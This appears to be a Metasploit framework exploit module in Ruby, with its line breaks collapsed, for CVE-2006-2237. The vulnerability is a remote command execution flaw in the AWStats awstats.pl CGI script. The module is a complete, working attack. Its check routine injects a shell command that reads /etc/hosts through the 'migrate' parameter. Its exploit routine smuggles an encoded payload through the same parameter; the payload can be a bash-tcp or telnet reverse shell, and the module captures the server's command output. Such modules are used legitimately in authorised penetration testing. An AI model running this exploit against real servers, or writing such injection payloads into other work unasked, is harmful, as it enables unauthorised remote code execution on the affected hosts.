## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'AWStats migrate Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based payloads are recommended with this module. The vulnerability is only present when AllowToUpdateStatsFromBrowser is enabled in the AWStats configuration file (non-default). }, 'Author' => [ 'aushack' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2006-2237'], ['OSVDB', '25284'], ['BID', '17844'], ['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'], ['EDB', '1755'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic perl ruby python bash-tcp telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => '2006-05-04', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]), OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]), ]) end def check res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), 'vars_get' => { 'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt" } }, 25) if (res and res.body.match(/localhost/)) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded) sploit = normalize_uri(datastore['URI']) + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt" res = send_request_raw({ 'uri' => sploit, 'method' => 'GET', 'headers' => { 'Connection' => 'Close', } }, 25) if (res) print_status("The server returned: #{res.code} #{res.message}") m = res.body.match(/YYY\n(.*)\nYYY/m) if (m) print_status("Command output from the server:") print("\n" + m[1] + "\n\n") else print_status("This server may not be vulnerable") end else print_status("No response from the server") end end end